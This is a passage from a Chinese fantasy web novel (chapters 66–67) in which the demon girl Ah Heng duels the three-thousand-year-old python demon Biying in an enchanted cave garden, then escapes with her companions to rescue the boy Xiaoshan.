另一边的悬崖峭壁之上,一片参天的林木青黑,凛烈的风呼啸着,一个身形高大,黑衣银甲的年轻男人垂首,如一只健硕野蛮的豹子谨慎而恭敬地收敛起全部的爪牙:“您为何要放走那个孩子?您在他身边不就是为了……” “这也是没有办法的事啊。” 女子年轻稚嫩的声音响起,她的语调十分的轻缓:“那四个人中,一个憨直,一个天真,倒是不足为惧,但那个姓程的,却总让我觉得很不简单,我原以为,他们上清紫霄宫不过是个拾人牙慧,自诩清高的玄门,但我却看不穿他,他明明是人类,可我有时,又觉得他根本不像是个人类,还有……” 凛风吹动枝叶,林中短暂出现一片亮光,照见那少女还有些稚嫩的面容,她看起来不过十三四岁,总是遮在眼前的红布早已不知所踪,那双眼睛闭合着,眼皮完全与眼睑粘连生长在一起,眼皮干瘪,甚至有点内凹,很显然,她的眼眶里面早已没有眼珠了。 林叶遮下,她整个人又融入一片浓暗的阴影里:“你没见过她,她很敏锐,也很聪明,我故意不跟他们走,后来,我召唤过她,作为我们的东西,她真的很不听话。” “小山身上只有半颗火种,我取出来也没什么用,火种是要用一切恶欲去浇灌的,小山年纪太小,恶欲未生,这半颗火种到他身上,只怕也是个意外,既然他一定要去岐山,那就由他去吧,”少女缓缓说道,“正好,也让他替我试一试,另外半颗到底在谁的身上。” “是。” 那男人抬起头来,露出一双幽绿的眼睛。 不同于岐山外的风雨欲来,阿姮他们被困在蛇女碧瑛的洞府之中,外界的一切他们都感受不到,好像这个地方已在三界之外,与世隔绝。 霖娘再没见过蛛女,碧瑛也没有再出现过,他们几人就好像被丢进这偌大一个园子里,偶尔有些蛇挪动而来,却是送瓜果和茶饮的。 霖娘趴在朱红栏杆上,对阿姮道:“柳郎一定还活着,蛛女没有说假话,对吧,阿姮?” “我不知道。” 阿姮的确不知道,那蛛女是个狡诈的,她嘴里真话多还是假话多,她一点也不了解,但见霖娘眼中神采黯然,她又补了句:“应该活着吧。” 霖娘果然因为她的话稍稍坚定了些,眼睛也亮了。 阿姮看着她:“那臭蜘蛛今日说,因为爱,所以愧,是什么意思?” 霖娘又有点想哭,她想忍住,还是没忍住,她吸了吸鼻子,说:“有爱,便会挂牵,有了挂牵,就会觉得分离是一件很苦很苦的事,为此,人会觉得难过,觉得难熬,甚至会生出愧疚。” 爱。 阿姮第一次认真审视这个字。 “喜欢和爱,有什么区别吗?” “没有吧。” 霖娘摇头:“我觉得喜欢就是爱,在乎一个人的生死,希望他平安,希望他就算远在天边,也要过得好,不要受苦,不要受难,为他开心,为他难过,觉得这个世上有他是一件很美好的事情,这就是爱。” 说着说着,霖娘又忍不住大哭起来,她扑到阿姮怀里,再三问她:“柳郎真的还活着,对吧?” 阿姮被她烦得要死,绷着脸,语气看似不耐,但每回都好好答了声“对”。 霖娘感动得泪眼朦胧,却隐约发觉阿姮有点不对劲,她坐直身体,擦了把眼泪,问她:“你怎么了?” 阿姮看了一眼她,说道:“我在想那个臭蜘蛛说的话。” “什么话?” “她说这世上有三条绝路,一为人与鬼,二为人与神,三为人与妖,”阿姮说着,眉头拧了一下,十分不解,“怎么三条都有人的事啊?” “谁知道呢。” 霖娘也不太明白,但她抱住阿姮的手臂,说:“管他呢,我是鬼,你是妖,我们两个就不是绝路啊!” 阿姮觉得她说得有道理,点了点头,但又忽然望向她:“那小神仙呢?” 霖娘绞尽脑汁想了想,说道:“你这么厉害,怕什么绝路呢?反正路都是人走出来的,遇山开山,遇水架桥,只要你认定了,总能走下去的。” 不一会儿,程净住和积玉回来了,他们去寻出口,一无所获,但积玉却将小山那个小崽子给抓住了,他才将小山放下来,就站那儿教育起了小山,严肃地跟他讲起了轻信妖怪的种种严重后果,小山不服地争辩:“阿姮姐姐也是妖啊!” “阿姮当然不一样了!” 积玉理所当然地说道。 霖娘见他们两个快要吵起来了,连忙过去抱住小山,三人叽叽喳喳地说起话来。 阿姮瞥了他们一眼,根本不理会可怜巴巴朝她望来的小山,她走到岸边去,坐到那棵柳树底下,没一会儿,身边站了个人,她仰起脸来,笑了一下:“小神仙。” 程净竹垂眸,说:“以后再也不要轻易让我收回你的这副躯壳,你该像从前那样,好好爱惜它。” “原来它不能收放自如吗?” 阿姮眨了眨眼睛。 “你不要告诉我,你自己没有任何感觉,”程净竹说道,“它成了你的躯壳,便与你的气海相连,我收回它,你的丹田不可能不痛,以后我绝不再施此法,你也好好记住,我再也不能招来银汉之水,为你再造一副身躯了。” 阿姮的丹田当然是痛的,而且是越来越痛,她此刻都有点头晕眼花了,眼睛费力地眨动两下,便发现面前的他,一身衣衫褪去了漂亮莹润的蓝色,变成了很深很深的黑色,与他颈项冷白的肌肤相称,她觉得其实也很好看。 她眯着眼睛:“那你的耳朵痛不痛?” 她忽然这样问,程净竹愣了片刻,他看着她,她这会儿懒洋洋的,双手抱膝,裙袂底下绣鞋的鞋面泛着细丝的光泽。 她在等他回答,但程净竹没有回答。 他就站在她身旁,风轻轻吹着他的衣摆,阿姮有点想抓他背后背云坠下来的那串流苏玩儿,却忽然听见他道:“阿姮。” 他就是有一种什么奇怪的能力吧…… 阿姮这么想着。 不论她在做什么,不论她生气还是高兴,只要听见他喊这两个字,她就什么都忘了,只知道抬起脸,望着他。 程净竹侧过脸,看向不远处被霖娘和积玉夹在中间的小山,小山脸涨得红红的,似乎因为害他们担心而觉得很不好意思。 “这个责任你担得起来,也做得很好。” 他说。 阿姮怔了怔,她随他的目光看去,是那个傻乎乎的小崽子,她想起来,对啊,那天晚上,他说过这个小崽子是她的责任。 他好像在夸她。 阿姮忍不住扬起嘴角,立即发问:“那我可以要一点奖励吗?” 程净竹对上她狡黠的眸子,谁知道她所说的奖励到底是什么?他神情似乎平常,没说话,只是睨着她。 就算他不说话,阿姮也从他那副神情里读出四个字——得寸进尺。 阿姮哼了声。 下次还是不问的好,她还是比较喜欢想要什么就直接拿的方式。 “你在想什么?” 程净竹冷淡的眸子盯着她。 “没什么啊。” 阿姮一手撑着下巴,看起来十分的无辜。 “不许想。” 他说。 阿姮没说话,心里偷偷地骂他。 今天看来是没机会了,她显然已经打草惊蛇。 第67章 第67章 “殿下,今日,您果真要护着…… 067: 此洞府像是深藏地下, 在这一片山脉之中方圆近百里,可谓邃曲,朱楼画阁与花木池水相映,有些楼阁紧靠石壁, 门户轩窗, 栏杆廊庑, 一应俱全,一半琉璃碧瓦,椽柱斗拱无不精细雅致, 另一半却深嵌石壁之中, 失了对称, 却像从山石中长出来这般雕梁画栋, 纵然诡秘,却是精美绝伦。 “想不到这些常年宿在山中的妖怪, 竟也懂治园造景的雅趣。”积玉纵观四周馥郁芳兰, 朱轩碧窗,他们走的每一步, 所见景致皆有不同, 其中意趣可谓千变万化, 可见造园之人心思玲珑。 “我们已在这园子里绕了几回了, 什么出路也找不见, ”霖娘走得气喘吁吁,“那蛇妖真是奇怪,她好像并没有杀我们的打算, 却又将我们全都困在这儿……” 积玉眉头一皱,摸着下巴大胆猜测:“也许她还不饿?等到她饿了的时候,就把我们一个一个地吃了!” 霖娘吓得浑身一抖:“我……我也要被吃吗?我又没有血肉身躯, 吃起来应该跟吃风雾差不多吧,也不饱肚子啊。” 一条小蛇弯曲着身躯缓缓而来,它头顶稳稳地顶着一个托盘,盘中除了瓜果,还有些糕饼,茶水,小蛇看到他们,便停在路边不动,小山似乎已经习惯了,他顺手从小蛇头顶抓来一块糕饼,咬了一口,说:“碧瑛婶婶不吃人,也不会吃你的,霖娘姐姐。” “是吗?” 霖娘还没说话,阿姮的声音幽幽从后方落来:“你那么相信她的话,还跟着我们做什么?” 小山脖颈一僵,他连忙又抓来一块糕饼,殷勤地跑到阿姮身边递给她,讨好地笑:“阿姮姐姐,我不是什么人都相信的,真的,碧瑛婶婶她使了个什么法术,然后我就真的看到小勤了!” 阿姮闻言,垂眸看他,没接糕饼:“法术?什么法术?” 小山摇头:“我不知道,碧瑛婶婶没说。” “你说你看见了他,那他如今在什么地方?” 程净竹开口。 小山看向他,说:“我也不知道,我就看到那里很黑很黑,碧瑛婶婶说,最多等一两个时辰,她就可以找到小勤。” 一两个时辰? 阿姮算了算,那蛇妖若真这么说,如今这时辰已经差不多了。 “小崽子,我答应帮你是因为你给了我一样好玩的东西,”阿姮盯着小山,“那么她呢?如今惠山元君法阵在上,她一个泥菩萨,为什么还要腾出手来帮你?她就真的什么都没问你要?” 小山想了想,说:“她没有问我要什么,还说,要帮我治病。” “治病?” 霖娘一听这话,立即跑过去将他抓起来左看右看:“你生病了?什么病?我们怎么什么都不知道!” 小山被她碰到了胳肢窝,忍不住笑起来:“哈哈哈霖娘姐姐……快放我下来。” 霖娘确实没看出小山身上有什么不妥,这一路跟着他们,比起一开始瘦骨嶙峋,身上没二两肉的模样,至少他如今脸颊上长了些肉,身上的冻疮也都好了,一双眼睛圆溜溜又亮晶晶的,十分有神。 霖娘将小山放下来,小山笑够了,指着自己的耳朵说:“我就是耳朵有个老毛病,但一点也不影响我的听觉,没什么的。” 听小山这么说,霖娘稍放了点心,疑惑道:“那蛇妖真会如此好心?不仅不问小山要任何东西,还帮他找小勤,帮他治病……” “谁知道她葫芦里卖的什么药。” 积玉抬起头,望向那片嶙峋起伏的洞顶,阴冷的风穿袖而过,四周花木发出沙沙的声响:“此地纵然雕栏玉砌,仙境一般,也藏不住这股浓烈的怨气。” 怨气,总带着一股朽烂的味道,从四面八方而来的阴冷风中,总有这样一股令人无法忽视的味道。 “小山,你有没有想过,她若真的是个好妖,那么此地为何会盘踞如此之多的怨戾之气?” “什么是怨戾之气?” 小山不明白。 此时,程净竹忽然停下来,他这一路掌中都结着一道金印,诚如积玉所言,此地怨气最重,看了一眼闪烁的金印,程净竹唤道:“积玉,用青蘅丁香粉。” “是。”积玉立即从怀中掏出来一只瓷瓶,双指结印,里面霜白的药粉飞浮出来,顿时丁香的香气混合着一种不知名的,冷沁的药气几乎充斥几人的鼻息,阿姮嗅到那股藏在丁香味道底下的冷沁药香,那似乎就是小神仙身上的味道。 四周交织而来的,阴冷的风莫名变得轻缓许多,阿姮看向程净竹,他掌中结一金印,而他垂着眼帘,目不转睛地盯着那咒印,但下一瞬,他的睫毛忽然抬起来,对上阿姮的目光:“你能听到吗?” 听到什么? 阿姮眨了眨眼睛,凝神细听那些和缓的风音,片刻,她道:“好多哭声。” 阴冷的风像是被青蘅丁香粉安抚住了,那些风音不再凛烈,阿姮轻易听懂那些哭声,她立即化为红雾,随风而动。 程净竹盯着红雾徐徐流动的方向,红雾被风推往一个方向,他立即并起双指结印施术,掌中金印飞出,化为金光散开,携红雾而去的风中开始展露一缕又一缕淡青色的痕迹,像细长的丝绦,千丝万缕,浮游不尽。 “那是什么?” 霖娘惊愕极了。 “是怨灵,它们是怨恨所化,是难以消解的死气,这里的每一缕怨灵,都是一条惨死的生命所结成的,它们残留着主人生前所遭受的一切痛苦,一切不甘,怨恨,所以无时无刻不在痛苦,丁香的气味可以吸引它们,而青蘅草则有极强的镇痛安神之效,可以暂时安抚它们的痛苦,使它们显形。”积玉望着风中数不清的青碧颜色,说道。 怨灵成风,青碧的颜色几乎占据大片洞府,浓烈至极。 霖娘愕然,不由喃喃,“这得是……多少条性命啊。” 红雾飞浮到程净竹身边凝出阿姮的身形,她看到那些怨灵全都朝着那片翠竹林中去了,她立即明白过来:“这些怨灵无形,它们是主动盘踞于此,不受这洞府禁制约束,所以跟着它们便能找到出口。” 阿姮率先往翠竹林中飞去。 她本相虚无,所以可以听得懂同样虚无的怨灵所结成的阴风所发出的风音,她紧追风音中那些凄哀的哭声而去,程净竹紧随其后,却忽起一阵浓烈的风雾,这雾气挡住了他的视线,连林中翠竹也不见了。 阿姮脚尖拂过林叶,忽然敏锐地一避,旋身落去地上,她仰头,只见那几片颤颤的竹叶之间,一条碧绿小蛇吐着猩红的蛇信,一双幽冷的蛇目紧紧盯着她。 阿姮可还没忘记自己被咬的那一口,她脸色沉下来,翻掌打出红云烈焰,竹叶连同整根竹子都烧了起来,却不见那条蛇。 “臭蛇妖,少故弄玄虚!滚出来!” 阿姮冷声道。 几乎话音才落,阿姮发觉后背一阵冷风拂来,她立即转身,发间的万木春倾刻在她掌中化出本相,焦枯的枝尖迅疾探去,数缕丝忽然缠绕枝尖。 阿姮看向那拂尘上千万缕细丝,她见过一些道士用拂尘,尘尾有的是兽毛所制,有的则好似用丝麻,而她眼前这柄拂尘却与那些并不一样,也不知是什么丝线束出来的,莹润泛光,隐约透着点青色,阿姮用了些力道试探,那尘尾柔韧极了。 “小姑娘才化成人形多久?连成语也会了?” 拂尘的主人感受到阿姮的试探,却纹丝未动。 阿姮抬眸,对上那碧瑛的目光,她眉眼明明妖异,但那副神情却很平和,阿姮心念一动,枝尖红云烈焰如簇燃烧,迸发缕缕金电。 碧瑛立即松了尘尾,随后一笑:“真是好差的脾气。” “你咬我那一口,你说,我该怎么还给你呢?” 阿姮手中焦黑的枝尖指向她。 碧瑛看向她手中的万木春,红云缠裹着金电,像极了人间最璀璨的烟火,又像是九天之上的浩浩星云,碧瑛不由叹:“此神物果然不凡,今日我碧瑛,愿领教一番。” 话音落,碧瑛拂尘一挥,尘尾顿时生长如瀑袭向阿姮,阿姮手腕一转,枝尖挽起尘尾,侧身往前一跃,另一掌燃起红云,直逼碧瑛面门,碧瑛却不慌不忙,仰面飞身,尘尾攀附万木春缠上阿姮手腕,阿姮立即化身红雾,挣脱束缚,转瞬绕至碧瑛身后,枝尖直逼碧瑛后心,碧瑛回头,手往后一挽,尘尾再度缠住枝尖,转过身来,抬手接住阿姮一掌,强烈的罡风化出两道相斥的气流,两人同时被震得往后飞去。 阿姮落在地上,手中万木春的枝尖嵌入泥土,她抬起头,那些翠竹若被风雾所引,偏向一边,正好接住碧瑛轻飘飘的身影,碧瑛脚腕勾住两根翠竹,双腿平压若一字,细长的竹叶被风吹得潇潇,水碧的衣摆飞扬,金色的花纹闪烁生光,那拂尘搭在她臂弯,而她居高临下,那双眼睛有一瞬闪动蛇目的冷光,却偏偏一副缥缈出尘的风姿:“你究竟是为了报那咬你一口的仇,还是为了他们?三个活人,一个水鬼,还有你这个天生本相虚无的妖邪,无论怎么看,你们都不像是一路人。” “你把他们弄到哪里去了?” 阿姮环视四周,便知眼前一切必然是这蛇妖的障眼法,方才小神仙明明就在她身后,可她与这蛇妖已过了几招却仍不见他的身影,必然是这蛇妖使了什么手段。 风雾浮动,碧瑛的身影消失,唯剩竹影摇摇,潇潇不止,阿姮立即站起身,手腕一转,万木春的枝尖截住身后拂来的尘尾,她回过头,碧瑛立在不远处,淡色的纱带在她乌黑若云的髻边飘飞,她道:“你果真在乎他们?为什么?” 阿姮讨厌她的答非所问,枝尖穿透尘尾擦尘柄而去,挑刺碧瑛手腕,此招迅疾若电,碧瑛似乎有点意外,随即松手,那枝尖落了空,碧瑛翻身往后,换了只手将拂尘收回。 阿姮见一击不中,身影顿时化雾,又飞快凝聚在碧瑛面前,万木春的枝尖看似脆弱易断,那拂尘的尘尾亦软弱无力,但两人过招之际,枝尖与尘尾相触,却不断迸发出金石相击之音。 阿姮不断出招,金电缠裹在红云烈焰之中,暗红的雾气几乎将这片翠竹林包裹,哪怕碧瑛总在她的枝尖下逃脱,她也并不气馁,转而以化出更加凌厉的攻势,于风雾竹影中捕捉碧瑛的身影,再下杀招。 她辨清林中竹叶细微的响动,万木春从她手中飞出,穿叶过风,与此同时她飞身而去,枝尖堪堪擦过碧瑛额头,万木春回到她手中,她转腕往下,枝尖金电红云流转,刺向碧瑛心口。 碧瑛身影往翠竹林间坠下,她的目光始终停留在阿姮的脸上,手中拂尘的尘尾飞扬,忽然暴涨,瞬间缠住阿姮的双手,万木春枝尖一顿,阿姮双臂被束,连同腰身被紧紧缠住,她落到地上,只觉得强大的气流在她周身流转,竟使她动弹不得。 阿姮抬起脸,碧瑛就站在她的面前,水碧色的衣裙未乱分毫,连发髻也一丝不苟,她手中握着那拂尘,尘尾千丝万缕地缠紧阿姮。 “臭蛇妖……” 阿姮此时方觉先前所有,必是这蛇妖的故意戏弄,无论她怎么出招,无论她有多快,这蛇妖始终游刃有余。 阿姮气极了,一双眼睛没了遮掩,完全显露出妖异的暗红颜色。 “何必如此生气呢?” 碧瑛审视着她那双眼睛,淡淡一笑:“你才多大,我又活了多久?我身负三千年道行,这三千年,是每一日都不曾懈怠的三千年,我度过的岁月都是我的修行,而修行,是绝不可能一日千里,一蹴而就的,你输给我,其实是输给了你的年轻。” 阿姮用力挣扎,却全然无用,她也没有办法化成红雾,气极之下,却忽然冷笑:“你这蛇妖说话怎么跟那些玄门僧道一个口吻,怎么?是吃多了他们的肉,顿悟了些什么,心里有道,也有佛了?” 碧瑛看起来却分毫不恼。 她云淡风轻,甚至还笑了一声:“姑娘这张嘴好歹毒,迟早会没有朋友的。” “你把他们怎么样了?” 阿姮盯着她。 碧瑛对上她的目光,仍不紧不慢:“看来,你真的很在乎他们,都说妖类欲壑难填,不通人性,无论是草木化成的妖,还是鸟兽化成的妖,大多虽有人形,却难有人情,毕竟妖心不是人心,而我看你没有本相,连心也没有,却怎么知道在乎别人?还是说,他们当中,有谁是你的猎物?是……那个小仙长吗?我是说,锦衣秀骨,冷若冰霜的那一个。” 阿姮的神情变得异常阴冷,她盯着碧瑛:“怎么?你想和我抢啊?臭蛇妖,我告诉你,我最恨别人惦记我的东西,今日你若杀不死我,来日,我一定尝尝你的蛇肉滋味如何。” “我可是蟒蛇。” 碧瑛却道。 阿姮又气又烦:“蟒蛇怎么了?” 碧瑛一笑:“没什么,小姑娘这辈子还没见过蟒蛇吧?我这活了三千年的蟒蛇肉,就算你的胃口再大,只怕也得吃个三年五载的,我啊,是担心你吃不完。” ……? 这是她该担心的事吗? 阿姮气得都有点懵了。 “也不知道你怎么这样别扭,”碧瑛绕着她慢慢走了一圈,将她从头到尾地打量,“你最好还是改改这口是心非的毛病,你的眼睛告诉我,你也许是真想吃我的肉,但那个小仙长,你却根本没有把他当成猎物,猎物,是裹腹的东西,是可以利用的玩意,就算是个活的,在你眼里也该是个死物,但你看他的神情,绝不是这样。” 竹叶纷纷而落,碧瑛站定,目光落在阿姮手中那一截焦黑的枯枝:“若我猜得不错,此物便是九仪娘娘朝露的法器——万木春?传闻中,此法器镇杀天衣人,蕴藏无限生机,若在它的主人手里,此法器必然威力无穷,它却落在你的手中,身为妖邪却掌神物,我活了这么多年,此事当为天下第一怪事,可惜,你的力量还不足以完全掌控它,发挥它全部的作用,你打不过我,它便打不过我。” “怎么?你想要?” 阿姮说道。 “我可无福消受。” 碧瑛笑了笑,缠住阿姮的尘尾却忽然分出一缕,那缕丝闪烁淡淡的青芒,陡然化为一条纤细碧绿的小蛇,毫无预兆地对准阿姮的手腕一口咬下。 阿姮睁大双眼,剧痛,麻木,两种感觉交替而来,此时阿姮终于明白之前碧瑛说在山中咬自己一口的是她,又不算是她,究竟是什么意思了。 这拂尘尘尾,还有这片翠竹林,只怕都是她碧瑛的分身。 尘尾又一根丝飞扬而起,青芒闪烁,化为碧蛇,一口咬向阿姮的手肘,又三两缕丝化为蛇,蛇口一张,分别咬向阿姮的肩膀,颈侧。 尖锐的牙刺破阿姮的壳子,却没有鲜血汩汩涌出,只有银色的水泽闪烁,阿姮痛极了,握着万木春的手紧了又紧,她要挣扎,尘尾却缠得更紧,她恍惚中,觉得自己像是被万蛇缠绕,她几乎听到无数的蛇口翕张,蛇信吐出的声音。 阿姮被紧紧缠绕的尘尾弄得呼吸不能,胸腔挤压,她凝神奋力调动丹田气海,金电如缕仿佛穿过她的四肢百骸,汇聚于她掌心,催动万木春枝尖一颤,迸发道道金芒,红雾弥散开来,碧瑛收回拂尘,闪身避开。 金电伴随红雾在四周滋滋作响,阿姮毫不犹豫地杀向碧瑛,碧瑛飞身后退,只见阿姮手臂不住地发抖,但那双暗红的眸子却那样阴寒锐利,全然没有半点退缩之意,碧瑛点点头,侧身避开万木春之际,拂尘的尘尾扫向阿姮的手腕,重重一击,那正是阿姮受伤之处,阿姮手腕一偏,尘尾立即缠住她腕骨,碧瑛擦过她身边:“这世间的清气和浊气都无法成为你的立身之本。” 随着她的话音,阿姮感觉到有什么东西在不断地入侵她的气海,她立即舒展手掌,万木春飞出,枝尖往下欲斩断尘尾,而碧瑛却及时收回,与此同时,她的手再度扣住阿姮的手腕,碧瑛的脸上闪过一丝异色:“你的气海从前被毁掉过?” 什么从前? 阿姮抬眸,对上碧瑛的目光:“听不懂你在说什么!” 阿姮操控万木春,逼近碧瑛,碧瑛再度松手,两人连过几招,阿姮不知自己是不是中了什么蛇毒,一双手臂越来越绵软,她咬紧牙关,勉力出招,却被碧瑛的尘尾截住,尘尾再度缠住她的手腕,往上,绕过她的手肘,再到肩背,再将另一条手臂也全完缠住。 “你什么都不记得吗?” 碧瑛难掩眉眼之间的诧异,她审视着阿姮:“我的道法可以辨炁,绝不会看错,你的丹田曾被粉碎过,如今这副丹田气海是新长的,你到底是个什么?纵是我活了三千年,也实在没见过你这样被粉碎了还能再长的。” 阿姮根本听不懂这碧瑛在说些什么,她从前连壳子都没有,又哪里来的丹田气海? 阿姮再度凝神催动万木春,碧瑛翻身一避,尘尾不得不收回,阿姮则趁此机会,握住万木春刺向碧瑛,碧瑛却转瞬化烟,又出现在阿姮面前,她并起双指在阿姮腕上一点,青芒若星,连出一条线往上去,阿姮欲挣扎,却再没有力气,碧瑛立即再往她手肘,肩背各自点上一道,每一道都正好落在之前阿姮被蛇咬过的伤处。 “清浊两气都无法成为你的根基,但你却已经找到自己修行的法门,可见你有天赋,也有慧心。” 阿姮双臂被接连点了几道,整个人便像是被定住了一般,她丹田剧痛非常,难以凝神,也不用凝神,她便感觉到丹田气海之中与万木春紧密融合的力量全都化为滔天的火海,烧得她一身壳子都好像要化了,碧瑛的声音也显得那样渺远:“但这些却是远远不够的。” 青芒不断流转在阿姮的关节,分缕明晰,竟然若凡人血肉之躯的血脉一般,在她的皮肤底下一寸一寸地蔓延生长,很快,消弭无形。 气海里的滔滔火海漫向四肢百骸,阿姮一双暗红的眼抬起来,红云烈焰骤然扑向四方,万木春随她锐利的意念而势不可挡地朝碧瑛而去。 金电如缕,红云烈烈,万木春迸发的强大气流使阿姮的身影往后落去,翠竹林被狂风乱卷,一道银亮的光刺破气流,缠住她的腰身。 阿姮第一反应又是蛇,伸手抓住腰间的东西正要用力去拽,却觉满手冰凉,她低头,银亮的法绳闪烁寒光,细密漂亮的银鳞寸寸若织。 她落入了一个人怀中。 林中沙沙,竹叶纷纷飘落,阿姮嗅到那股冷沁的药香,从前她不知道那是什么香味,如今,她明白,那原来是青蘅草的味道。 阿姮暗红的眼睛一动,仰起脸,望见他的下颌。 阿姮忽然爆发出的力量显然是超出碧瑛预期的,她以手中拂尘抵挡,却仍被万木春枝尖在臂上划了一道口子,她堪堪避开,落到地上,仰头见万木春气势无边地掠去天际,刺破那结界,顿时,外面的阴云风雨渗了进来。 阴雨纷纷,风雾无限。 万木春回到阿姮发间,开出鲜艳的花。 “小仙长,你看起来好像很生气。” 烟雨中,碧瑛回望那个抱住阿姮的少年:“我行炁修行日久,对清浊两气也算颇有所得,她之所以无法选择二气之一修行,是因为她的本源有深渊一般的容纳之力,二气本相斥,寻常之人只能以一气作为修行的根基,修了清,便排斥浊,修了浊,便排斥清,而她本源如渊,清浊两气入她丹田气海来不及相斥便会被吞噬融化,但我见她体内似乎有一道天火咒?” 少年面无表情,双眸冷冽。 碧瑛笑了一下,目光缓缓落到阿姮的脸上:“有天火咒在身,又有我这套足以改变行炁路数的功法,姑娘,清浊两气玄妙无穷,若你勤加练习,悟出其中的道理,说不定,你真能找到一条不一样的道,这便算我给你的谢礼,谢你所持的神物为我劈开这结界。” 碧瑛回首,身影骤然消散。 程净竹拉开阿姮的衣袖,见她手腕到手肘青芒隐隐,却无一破口,阿姮明明记得自己被那些蛇咬破了壳子,此时却不见任何口子,她甚至觉得自己的丹田气海之中隐隐有缕缕热流涌向她的肩背,再到手臂,那种绵软无力的感觉已经全然消失了。 阿姮内观丹田气海,好多闪着青芒的字密密麻麻,那难道便是那蛇妖所说的什么改变行炁路数的……功法? 林中烟雾散,霖娘与积玉很快跑来,霖娘脸色十分的惊慌: “不好了!小山不见了!” 天无阳火,山中更阴,一座巨大的紫金丹炉中天火如炽,光照云水,滚滚热流更是将这本该阴冷潮湿的崖壁烤得十分干燥。 丹炉中绵绵不断地涌出缕缕白烟,使此地烟雾霭霭,犹如仙境。 一只白虎趴在丹炉边,守着炉中天火,燃烧不灭。 惠山元君绕过丹炉,踏上石阶,淡绿的批帛随步履拂过,过怪石桥,对面崖壁参差,瀑布飞流,下有小峰横亘瀑前,鸟道蜿蜒数步,则见石平如砥,有一小亭,四面素幔,缀以水晶珠帘,清风拂来,素幔飞拂,珠帘摇摇,隐约显露亭中一案,那案上紫炉生香,缕缕不绝。 惠山元君掀帘而入,径自走向那案边的一张竹床。 竹床上躺着一个人,那是个男人,身上穿着干净的衣袍,闭着眼,似乎睡着。 他看起来骨瘦嶙峋,脸色也是十分的苍白。 惠山元君在床前站定,垂眸看他。 她似乎很小心翼翼地伸出手指,指节感受到他微弱的鼻息,她像松了口气,要收回手,却忽然被床上的人一把攥住手腕。 他明明还闭着眼,像是根本没有醒来,手却十分地用力,身上散发出淡淡的血光。 惠山元君神情一凛。 “惠山元君,你解不了他的咒。” 男人依旧闭着眼,张口,却是一道稚嫩的,像是只有十三四岁的少女发出的声音:“你想要他活下去吗?要不要和我做个交易?” “天衣妖孽。” 惠山元君一字一顿。 “天衣妖孽……”少女的笑声十分清脆,“元君,可你爱的这个男人不也是天衣妖孽吗?” “滚!” 惠山元君眉目严寒,并指结印,金光顿时打散血光。 忽然一道雷声轰隆,惠山元君顿时转身。 雷声如此明晰,意味着阳火未至,今日阵法未成,也意味着……结界有了破口。 惠山元君的神情越发肃穆。 四海军中已出现妖祸,天下已被天衣妖孽搅乱,她已然等不起了,今日无论如何她都必须诛杀蛇妖碧瑛! 碧瑛一不见,翠竹林便在一片烟雾中化为乌有,根根翠竹化为碧绿的蛇,在地上匍匐蜿蜒很快不见。 青蘅丁香粉的作用还没有消失,又没有碧瑛故布疑阵,阿姮他们追着那些数不清的怨灵而去,很快便找到了出口。 外面阴雨连绵,以至于洞口只有一层薄光,阿姮靠近洞口,却见怨灵全都盘踞于顶,像生怕被外面的光线照见,一阵急风迎面扑来,阿姮鬓边浅发飘荡,步履一顿。 程净竹侧过脸,看向她:“怎么了?” 阿姮对上他的目光,说:“它们在说,不要出去。” 阿姮辨别着那些凌乱急促的风音:“否则,我们所有人都会被炼化成丹。” “什么炼化成丹?” 霖娘没明白:“它们是什么意思?” “难道是那蛇妖给我们的警告?警告我们若是踏出她的洞府,就马上炼了我们?”积玉想了想,眉头又皱起来,“不对啊,她要想炼了我们,直接动手不就好了?反正我们又打不过她,哪里用得着费这些周折?” “正午已过,” 程净竹瞥了一眼洞口外面,“如今天象有异,可见惠山元君的阵法今日未成,你们两个也不必再避。” “哎呀不管了,找小山要紧!” 霖娘说道。 积玉对此深表赞同:“也不知那蛇妖将他掳到哪儿去了!” “我早知道那小崽子不老实,所以方才在他身上留了一缕雾气。” 阿姮悠悠道。 霖娘眼睛一亮。 几人跑出洞去,与那些盘踞在洞口的怨灵相撞,它们像风,拂过每一个人的脸,风中都是青蘅丁香粉的味道。 岐山下,一帮僧道眼睁睁见那结界出现一个破口,那三真道长大呼一声“不好”,立即说道:“先是天象有异,如今结界又出现破口,若是被那蛇妖逃出生天,惠山元君多日心血怕是要毁于一旦!” “山中情况不明,也不知元君是遇见了何等难题,我等虽无神力,亦怀一身修为,既然都是为守元君大阵而来,今日又何妨入山,助元君一臂之力呢!” 有人说道。 此话一出,引得众僧道纷纷赞同,此时,无晦子望向天边,那破口仍在,他率先乘风而去,三真道长见此,“哎”了声,连忙御剑紧随其后:“无晦子你这个老东西,等等你三真爷爷!” 其他僧道各自操控法器,钻入结界之中。 天边青色的云气涌动而来,正好与众僧道迎面相撞,三真神情一凛:“这蛇妖果然想逃!” 众人纷纷结印施术。 青色的云气还没接近结界破口,便被僧道们的道道法诀冲散,无晦子回头遥望,金光耀目,结界的破口很快修补无缺。 外面的雷声与风雨,全都消弭无声了。 那是惠山元君的神威。 “惠山元君,你的这些徒子徒孙都进来瞧你了,”青色的云气再度凝聚,风中,是一道慢悠悠的女声,“他们明明是人,却担心起你这尊天上唯一的杀神……你不来看看他们吗?若晚一步,可就没机会了。” 青碧云气缓缓流动,女子的声音响彻整个岐山。 狂风乱卷,飞沙走石。 凭借着阿姮对那一缕红雾的感知,几人越重岩,过夹道,穿行层层云霭之中,正遇三峰环抱,中有飞流淙淙之声不绝于耳。 几人飞身掠至一崖顶上,忽听虎啸声声,震耳欲聋,峰上乱石滚落,程净竹并指召出法绳击落迎面而来的碎石,积玉连忙抽出金剑,左右一挡,乱石落去崖下,轰然作响。 峰下震动,阿姮放眼望去,只见一道白衣身影飞快从山穴中跑了出来,很快,穴中身形巨大的白虎飞扑而出,大掌抓上那白衣身影的后背,却因其夹在腋下的一个小娃娃而有所迟滞,只这一瞬,白虎未尽全力,那白衣身影抓住机会,手指挽丝将那小娃娃送去山壁之上,她却因此而生生受下白虎一击。 “蛛女姐姐!” 被蛛丝粘在山壁上的娃娃赫然便是小山,他瞪大眼睛,望着底下被那白虎飞扑啃咬的白衣女子。 蛛女? 阿姮垂眸,看清那个在白虎爪子下挣扎的女子鬓边的蛛钗。 一道水流从阿姮身边飞过,落下去,化为冰凌飞刺白虎,阿姮回头,见霖娘双手结印,一瞬不瞬地盯紧崖下。 底下的白虎一爪子碾碎冰凌,仰首之际,一双兽目盯住崖上几人,发出怒号。 